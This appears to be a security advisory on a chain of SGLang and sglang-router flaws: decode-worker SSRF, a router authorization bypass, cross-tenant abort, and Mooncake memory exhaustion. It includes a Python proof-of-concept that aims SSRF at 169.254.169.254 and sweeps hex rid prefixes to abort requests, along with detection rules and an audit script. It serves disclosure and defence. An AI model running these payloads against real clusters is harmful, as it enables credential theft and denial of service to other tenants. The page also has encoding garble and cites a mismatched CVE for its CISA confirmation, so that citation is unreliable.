CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion Chain
Critical five-part vulnerability cluster in SGLang through 0.5.22 and sglang-router through 0.3.2 (CVE-2026-112267, CVE-2026-112268, CVE-2026-112266, CVE-2026-112269, CVE-2026-112270). In Prefill-Decode (PD) disaggregation deployments, Decode workers trust caller-supplied bootstrap_host and bootstrap_port parameters in /generate requests, enabling synchronous Server-Side Request Forgery (SSRF) and worker thread blocking (CVE-2026-112267). Simultaneously, sglang-router's /ha/* mesh management endpoints fail to enforce Admin role checks against standard data-plane API keys (CVE-2026-112268), Scheduler.abort_request terminates unrelated tenants' in-flight inferences via req.rid.startswith() prefix matching (CVE-2026-112266), and Mooncake ZMQ sockets allow unauthenticated decode registrations and unbounded STAGING_RSP chunk_idx memory allocations that OOM-kill GPU schedulers (CVE-2026-112269 / CVE-2026-112270).
HERMES THREAT SCORE & DISAGGREGATED AI CLUSTER EVALUATION
Target:SGLang Disaggregated Decode/Prefill Coordinator, Mooncake Transfer Engine & sglang-router Mesh HA Plane (python/sglang/srt/disaggregation/mooncake/conn.py & sgl-router) While standalone CVSS metrics score the individual primitives separately (CVE-2026-112267 at 8.6โ9.1 for Decode worker SSRF, CVE-2026-112268 at 6.5 for /ha/* router authorization bypass, CVE-2026-112266 at 8.2 for rid prefix abort, and CVE-2026-112269 / CVE-2026-112270 at 7.5โ8.2 for Mooncake ZMQ memory exhaustion), the Hermes Threat Score evaluates this unified disaggregated-serving compromise chain at 94 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 96 (EXTREME). In multi-node GPU clusters serving autonomous LLM agents, Prefill-Decode (PD) disaggregation separates compute-bound prefill from bandwidth-bound decode over high-speed RDMA/ZMQ fabrics. An attacker with a basic inference token can abuse sglang-router's /ha/* mesh routes (CVE-2026-112268), coerce Decode workers into executing SSRF calls against cloud metadata services (169.254.169.254) or internal control planes via bootstrap_host (CVE-2026-112267), mass-abort every active tenant's agentic reasoning loop via 1-byte rid prefix matching (CVE-2026-112266), and crash Prefill GPU schedulers via Mooncake STAGING_RSP chunk_idx OOM amplification (CVE-2026-112270).
CVE-2026-112267: SGLang Disaggregated Decode Worker bootstrap_host SSRF, sglang-router Mesh HA Auth Bypass & Mooncake KV-Cache Exhaustion ChainVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Mooncake Distributed KVCache Store documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 19โ20, 2026, VulnCheck Initial Access Intelligence and upstream security researchers disclosed a five-vulnerability architectural compromise chain across SGLang (sgl-project/sglang, versions through 0.5.22) and sglang-router / sgl-model-gateway (versions through 0.3.2):
- CVE-2026-112267 (
CWE-918, Decode Workerbootstrap_host&bootstrap_portSSRF): In SGLangโs Prefill-Decode (PD) disaggregation architecture (GitHub Issue #45008), Decode workers exposebootstrap_host,bootstrap_port, andbootstrap_roomdirectly in the HTTPGenerateReqInputschema (/generateand/v1/chat/completions). When a caller reaches a Decode worker and supplies arbitrary network coordinates inbootstrap_hostandbootstrap_port, the worker initiates synchronous HTTP/ZMQ KV-cache handshake connections to the untrusted destination without verifying whether it belongs to an authorized Prefill worker poolโenabling Server-Side Request Forgery (SSRF) against internal control planes or cloud metadata (169.254.169.254) and stalling shared inference event loops. - CVE-2026-112268 (
CWE-863,sglang-routerMesh HA Authorization Bypass): Insglang-router(<= 0.3.2), high-availability mesh management endpoints under/ha/*fail to enforce control-planeAdminrole verification. Any client holding a low-privilege data-plane API key can read or mutate cluster mesh state, inspect internal worker topologies, or disrupt HA failovers. - CVE-2026-112266 (
CWE-400/CWE-697, Cross-Request Abort viaridPrefix Matching): Inpython/sglang/srt/managers/scheduler.py(Scheduler.abort_request), SGLang matches cancellation requests usingreq.rid.startswith(recv_req.rid)rather than exact string equality. Any client calling/abort_request(or dropping a connection) with a 1-characterridprefix (e.g.,"a","0", or"") forcibly aborts (finish_reason: "abort") every concurrent in-flight generation request across all tenants whose request ID starts with that character. - CVE-2026-112269 & CVE-2026-112270 (
CWE-770, Mooncake ZMQ Decode Registration &STAGING_RSPchunk_idxMemory Exhaustion): When running PD disaggregation with the Mooncake transfer engine (python/sglang/srt/disaggregation/mooncake/conn.py), Prefill nodes accept unauthenticated decode registration messages on ZMQPULLsockets (CVE-2026-112269), whilehandle_staging_rsp()fails to bound thechunk_idxinteger inSTAGING_RSPmessages (CVE-2026-112270). Supplying a massivechunk_idxunder fresh room IDs forces unbounded list/buffer allocation until the Linux OOM killer terminates the GPU scheduler process.
Technical Vulnerability Mechanics & 5-Flaw Architecture Dissection
Section titled โTechnical Vulnerability Mechanics & 5-Flaw Architecture Dissectionโ1. CVE-2026-112267: Decode Worker bootstrap_host & bootstrap_port SSRF (#45008)
Section titled โ1. CVE-2026-112267: Decode Worker bootstrap_host & bootstrap_port SSRF (#45008)โIn SGLangโs Prefill-Decode (PD) Disaggregation design, compute-intensive prompt prefill and memory-bandwidth-bound token decoding run on separate GPU node pools. To coordinate out-of-band Key-Value (KV) cache transfers over RDMA/NIXL/Mooncake without routing gigabytes of tensor state through a central proxy, GenerateReqInput (python/sglang/srt/managers/io_struct.py) exposes three coordination fields:
bootstrap_host: IP or hostname of the Prefill workerโs bootstrap coordination server.bootstrap_port: TCP port of the Prefill bootstrap server.bootstrap_room: Unique 64-bit integer session/room ID for the request.
In SGLang versions <= 0.5.22, when a Decode worker receives a /generate request containing bootstrap_host and bootstrap_port, its disaggregation transfer manager (python/sglang/srt/disaggregation/decode.py and backend connection managers in mooncake/conn.py / nixl/conn.py) immediately connects to http://{bootstrap_host}:{bootstrap_port}/... (or opens a synchronous socket handshake) to register the decode receiver buffer:
# VULNERABLE PATTERN: python/sglang/srt/managers/io_struct.py & disaggregation/mooncake/conn.py (<= 0.5.22)@dataclassclass GenerateReqInput: text: Optional[Union[List[str], str]] = None # ... # FLAW (CWE-918): Exposed directly to untrusted HTTP callers on /generate! bootstrap_host: Optional[Union[List[str], str]] = None bootstrap_port: Optional[Union[List[Optional[int]], int]] = None bootstrap_room: Optional[Union[List[Optional[int]], int]] = None
# Inside Decode KV-Transfer Bootstrap Handshake:def _connect_to_prefill_bootstrap(self, bootstrap_host: str, bootstrap_port: int, room: int): # FLAW: No allowlist verification against pre-configured Prefill worker IPs/ports! # Executes synchronous outbound connection to caller-supplied host:port: bootstrap_addr = f"http://{bootstrap_host}:{bootstrap_port}/bootstrap" resp = requests.post(bootstrap_addr, json={"room": room, "decode_rank": self.rank}, timeout=5.0)Because bootstrap_host and bootstrap_port are accepted directly from the JSON body without checking against a static allowlist of cluster Prefill peers, an attacker can:
- Trigger Blind or Response-Timing SSRF: Force the GPU Decode worker to issue requests to internal Kubernetes services, local etcd/Redis instances (
127.0.0.1:2379,127.0.0.1:6379), or cloud metadata endpoints (169.254.169.254). - Stall the Decode Scheduler Loop: Point
bootstrap_hostat a tarpit IP/port that accepts TCP SYN packets but never completes the HTTP response, blocking synchronous bootstrap threads and starving all concurrent decode batches.
2. CVE-2026-112268: sglang-router Mesh HA /ha/* Authorization Bypass
Section titled โ2. CVE-2026-112268: sglang-router Mesh HA /ha/* Authorization BypassโTo front disaggregated Prefill and Decode pools, deployments use sglang-router (sgl-model-gateway). In versions <= 0.3.2, the router exposes High-Availability (HA) mesh synchronization and cluster state management endpoints under /ha/* (e.g., /ha/status, /ha/workers, /ha/sync, /ha/config).
Due to a middleware routing oversight (CWE-863), the /ha/* route group was mounted under the general authenticated middleware tier rather than the control-plane Admin role guard. Consequently, any external tenant or compromised application possessing a standard data-plane API key (intended solely for /v1/chat/completions) can invoke /ha/* endpoints to enumerate internal Prefill/Decode worker IP addresses and ports (providing exact targets for CVE-2026-112267, CVE-2026-112269, and CVE-2026-112270) or alter HA mesh routing state.
3. CVE-2026-112266: Cross-Request Termination via rid.startswith() Prefix Matching
Section titled โ3. CVE-2026-112266: Cross-Request Termination via rid.startswith() Prefix MatchingโIn python/sglang/srt/managers/scheduler.py (and tokenizer_manager.py), SGLang assigns or accepts a string Request ID (rid) for every inference request. Because parallel sampling (n > 1) or chunked pipeline stages internally append suffixes to a parent rid, Scheduler.abort_request() implemented cancellation by checking whether any queued or running requestโs rid started with the aborted recv_req.rid:
# VULNERABLE: python/sglang/srt/managers/scheduler.py (<= 0.5.22)def abort_request(self, recv_req: AbortReq): # Delete requests in the waiting queue to_del = [] for i, req in enumerate(self.waiting_queue): # FLAW (CWE-697 / CWE-400): Unbounded prefix match on caller-controlled recv_req.rid! # If recv_req.rid is "a" or "", it matches EVERY request in the queue! if req.rid.startswith(recv_req.rid): to_del.append(i) req.finished_reason = FINISH_ABORT() # ... # Also aborts active GPU batch requests in self.running_batch.reqs: for req in self.running_batch.reqs: if req.rid.startswith(recv_req.rid): req.to_abort = TrueAn attacker who sends POST /abort_request with {"rid": "a"} (or initiates a streaming request with a single-character rid and immediately disconnects, triggering automated cleanup abort) terminates every active and queued request across all tenants whose rid begins with "a" (or all hex UUIDs in 16 requests using 0โf).
4. CVE-2026-112269 & CVE-2026-112270: Mooncake ZMQ Decode Registration & STAGING_RSP chunk_idx OOM
Section titled โ4. CVE-2026-112269 & CVE-2026-112270: Mooncake ZMQ Decode Registration & STAGING_RSP chunk_idx OOMโWhen SGLang (<= 0.5.22) operates in PD disaggregation mode with --disaggregation-transfer-backend mooncake (python/sglang/srt/disaggregation/mooncake/conn.py), two additional unauthenticated memory exhaustion flaws arise:
- CVE-2026-112269 (
Unauthenticated Mooncake Decode Registrations): The Prefill rankโs ZeroMQ (ZMQ_PULL) coordination socket accepts raw multipart registration frames from any network-reachable peer without authentication or session limits. Flooding uniquemooncake_session_idregistrations and large nested buffer descriptors exhausts host RAM on the Prefill node. - CVE-2026-112270 (
Mooncake STAGING_RSP chunk_idx Unbounded Allocation): After discovering internal rank addresses (e.g., via/routeor/ha/*), an attacker can send craftedSTAGING_RSPframes tohandle_staging_rsp()specifying an astronomicalchunk_idxinteger under freshroomIDs. Becausehandle_staging_rsp()indexes or resizes staging tracking structures directly using the unvalidatedchunk_idxvalue without checking upper bounds against actual prompt chunk counts, a single crafted frame triggers massive memory allocation and crashes the GPU scheduler via the OS OOM killer.
flowchart TD Attacker["Remote Attacker / Low-Privilege Data-Plane Tenant"]
subgraph Router["sglang-router / sgl-model-gateway (<= 0.3.2)"] CVE268["CVE-2026-112268 (CWE-863)<br/>/ha/* Mesh HA Management Routes<br/>Missing Admin Role Check (Data-Plane Key Accepted)"] end
subgraph SGLangCluster["SGLang Disaggregated Inference Cluster (<= 0.5.22)"] CVE266["CVE-2026-112266 (CWE-400)<br/>Scheduler.abort_request()<br/>req.rid.startswith(recv_req.rid) Cross-Tenant Mass Abort"] CVE267["CVE-2026-112267 (CWE-918)<br/>Decode Worker /generate<br/>Unvalidated bootstrap_host & bootstrap_port SSRF"] CVE269["CVE-2026-112269 & CVE-2026-112270 (CWE-770)<br/>Mooncake ZMQ PULL & handle_staging_rsp()<br/>Unauthenticated Session Flood & Huge chunk_idx OOM"] end
subgraph Impact["Cluster-Wide AI Infrastructure Impact"] IMDS["Cloud IMDS & Internal Control Planes<br/>(169.254.169.254 / etcd / K8s API)"] DoS["Multi-Tenant Agentic Inference Blackout<br/>& GPU Scheduler OOM Crash"] end
Attacker -- "1. Data-Plane API Key" --> CVE268 CVE268 -- "Leaks Internal Prefill/Decode Rank IPs & Ports" --> CVE267 CVE268 -- "Exposes ZMQ /route Coordinates" --> CVE269 Attacker -- "2. 1-Byte rid ('0'..'f')" --> CVE266 Attacker -- "3. Forged bootstrap_host" --> CVE267 CVE267 --> IMDS CVE266 --> DoS CVE269 --> DoS
style CVE267 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE268 fill:#ff6600,stroke:#993300,color:#ffffff style CVE266 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE269 fill:#ff1a1a,stroke:#800000,color:#ffffffEnd-to-End Exploit Chain & Proof-of-Concept
Section titled โEnd-to-End Exploit Chain & Proof-of-ConceptโThe following verification script demonstrates how an attacker chains CVE-2026-112268 (router mesh reconnaissance), CVE-2026-112267 (Decode worker bootstrap_host SSRF), and CVE-2026-112266 (cross-tenant rid prefix abort):
#!/usr/bin/env python3"""Proof-of-Concept: SGLang Disaggregated Serving & Router Compromise ChainCovers CVE-2026-112268 (/ha/* Auth Bypass), CVE-2026-112267 (bootstrap_host SSRF),and CVE-2026-112266 (Cross-Request rid Prefix Abort)."""import requests
ROUTER_URL = "http://sglang-router.internal:8000"DECODE_WORKER_URL = "http://sglang-decode-0.internal:30000"DATA_PLANE_API_KEY = "sk-user-standard-inference-key"
headers = { "Authorization": f"Bearer {DATA_PLANE_API_KEY}", "Content-Type": "application/json",}
# Step 1 (CVE-2026-112268): Query sglang-router /ha/* mesh management endpoint# using a standard non-admin data-plane API keyha_resp = requests.get(f"{ROUTER_URL}/ha/workers", headers=headers, timeout=5)print("[*] CVE-2026-112268 /ha/workers status:", ha_resp.status_code, ha_resp.text[:200])
# Step 2 (CVE-2026-112267): Coerce Decode worker into initiating synchronous SSRF# handshake to internal metadata / control-plane service via bootstrap_host & bootstrap_portssrf_payload = { "text": "Hello", "sampling_params": {"max_new_tokens": 4}, "bootstrap_host": "169.254.169.254", "bootstrap_port": 80, "bootstrap_room": 99412026,}ssrf_resp = requests.post(f"{DECODE_WORKER_URL}/generate", json=ssrf_payload, headers=headers, timeout=10)print("[*] CVE-2026-112267 Decode SSRF response:", ssrf_resp.status_code)
# Step 3 (CVE-2026-112266): Mass-abort all concurrent tenant requests across the# GPU scheduler by sweeping 1-character hex prefixes in /abort_requestfor prefix in "0123456789abcdef": requests.post( f"{DECODE_WORKER_URL}/abort_request", json={"rid": prefix}, headers=headers, timeout=3, )print("[*] CVE-2026-112266 Swept 16 hex prefixes to abort all active tenant generations.")Forensic Analysis & Detection Engineering
Section titled โForensic Analysis & Detection EngineeringโReview our companion SGLang analysesโCVE-2026-111391 (SGLang Debug Dumper eval() Sandbox Escape RCE) and CVE-2026-111392 (SGLang Multimodal mm_hashes KV-Cache Poisoning)โto deploy comprehensive monitoring across your GPU inference fleet.
title: SGLang Decode Worker bootstrap_host SSRF, Router Mesh HA Bypass & rid Prefix Abort (CVE-2026-112267 / CVE-2026-112268 / CVE-2026-112266)id: 7c3e9a12-1122-467b-b901-sglang112267status: experimentaldescription: Detects exploitation of CVE-2026-112267 (bootstrap_host SSRF targeting internal/metadata IPs on SGLang /generate), CVE-2026-112268 (unauthorized /ha/* mesh route access on sglang-router), and CVE-2026-112266 (short 1-2 character rid prefix mass-abort calls).references: - https://vulncheck.com/advisories/sglang-through-0.5.22-ssrf-via-bootstrap-host-and-bootstrap-port-on-decode-worker - https://vulncheck.com/advisories/sglang-router-through-0.3.2-authorization-bypass-via-mesh-ha-management-routes - https://vulncheck.com/advisories/sglang-through-0.5.22-cross-request-abort-via-rid-prefix-matchingauthor: Hermes Threat Intelligencedate: 2026/10/20logsource: category: webserverdetection: selection_decode_ssrf: cs-method: 'POST' cs-uri-stem|contains: - '/generate' - '/v1/chat/completions' request_body|contains: 'bootstrap_host' selection_ssrf_targets: request_body|contains: - '169.254.169.254' - '127.0.0.1' - 'localhost' - 'metadata.google.internal' - ':2379' - ':6379' selection_router_ha: cs-uri-stem|startswith: '/ha/' selection_short_rid_abort: cs-method: 'POST' cs-uri-stem|contains: '/abort_request' request_body|re: '"rid"\s*:\s*"[a-zA-Z0-9_-]{0,2}"' condition: (selection_decode_ssrf and selection_ssrf_targets) or selection_router_ha or selection_short_rid_abortfalsepositives: - Internal sglang-router control-plane health checks to /ha/* from authorized router peerslevel: criticaltags: - attack.initial_access - attack.impact - attack.t1190 - attack.t1499 - cve.2026-112267 - cve.2026-112268 - cve.2026-112266index=ai_inference OR index=k8s_ingress (uri_path="*/generate*" OR uri_path="*/abort_request*" OR uri_path="/ha/*")| eval sglang_threat=case( match(uri_path, "^/ha/"), "CVE-2026-112268_Router_Mesh_HA_Bypass", match(request_body, "(?i)\"bootstrap_host\"\s*:\s*\"(169\.254\.169\.254|127\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|localhost)"), "CVE-2026-112267_Decode_Bootstrap_SSRF", match(uri_path, "/abort_request") AND match(request_body, "\"rid\"\s*:\s*\"[^\"]{0,2}\""), "CVE-2026-112266_Short_RID_Mass_Abort", 1==1, "Benign")| where sglang_threat != "Benign"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(uri_path) as endpoints, values(src_ip) as caller_ips by sglang_threat, dest_host| sort - count#!/usr/bin/env bash# Hermes Forensic & Containment Audit for SGLang Disaggregated Serving (CVE-2026-112266..112270)set -euo pipefail
NAMESPACE="${1:-ai-serving}"echo "[*] 1. Checking installed SGLang and sglang-router versions in namespace '${NAMESPACE}'..."for pod in $(kubectl get pods -n "${NAMESPACE}" -l app.kubernetes.io/part-of=sglang -o jsonpath='{.items[*].metadata.name}' 2>/dev/null); do echo "--> Pod: ${pod}" kubectl exec -n "${NAMESPACE}" "${pod}" -- python3 -c "import sglang; print('SGLang:', sglang.__version__)" 2>/dev/null || truedone
echo "[*] 2. Auditing SGLang Decode & Prefill pod logs for bootstrap_host SSRF, Mooncake STAGING_RSP OOMs, or mass aborts..."kubectl logs -n "${NAMESPACE}" -l app=sglang --tail=1000 \ | grep -E -i "bootstrap_host|169\.254\.169\.254|handle_staging_rsp|chunk_idx|FINISH_ABORT|Out of memory" || true
echo "[*] 3. Verifying whether Decode/Prefill ZMQ and Mooncake ports are exposed outside the cluster mesh..."kubectl get svc -n "${NAMESPACE}" -o wide | grep -E "LoadBalancer|NodePort" || trueRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ- Upgrade SGLang to
>= 0.5.23andsglang-routerto>= 0.3.3: Update all SGLang Prefill/Decode worker images beyond version0.5.22andsglang-router(sgl-model-gateway) beyond0.3.2to enforce strict Prefill peer allowlisting onbootstrap_host/bootstrap_port(CVE-2026-112267),Adminrole verification on/ha/*routes (CVE-2026-112268), exactridmatching (or internal delimiter scoping) inScheduler.abort_request()(CVE-2026-112266), and upper-bound validation on Mooncakechunk_idxand session registrations (CVE-2026-112269,CVE-2026-112270). - Strip Caller-Supplied
bootstrap_*Fields at the API Gateway (CVE-2026-112267): External clients should never communicate directly with Decode workers or supplybootstrap_host,bootstrap_port, orbootstrap_room. Configure your ingress proxy orsglang-routerto strip any client-suppliedbootstrap_*fields from incoming/generateand/v1/chat/completionsJSON payloads before forwarding requests to disaggregated worker pools. - Block External Access to
/ha/*,/route, and/abort_request(CVE-2026-112266/CVE-2026-112268): At your Envoy, Nginx, or Kubernetes Ingress layer, block external traffic to/ha/*and/route, and enforce minimum length validation (>= 16characters, UUIDv4 format) on any client-suppliedridparameter before permitting/abort_request. - Isolate Mooncake ZMQ & RDMA Fabrics via Kubernetes
NetworkPolicy(CVE-2026-112269/CVE-2026-112270): Bind Mooncake ZMQPULL/PUSHcoordination sockets strictly to internal pod-to-pod interfaces and apply a KubernetesNetworkPolicythat allows traffic to Prefill/Decode ZMQ ports exclusively from verifiedsglang-prefill,sglang-decode, andsglang-routerpod labels while blocking Decode pod egress to169.254.169.254/32.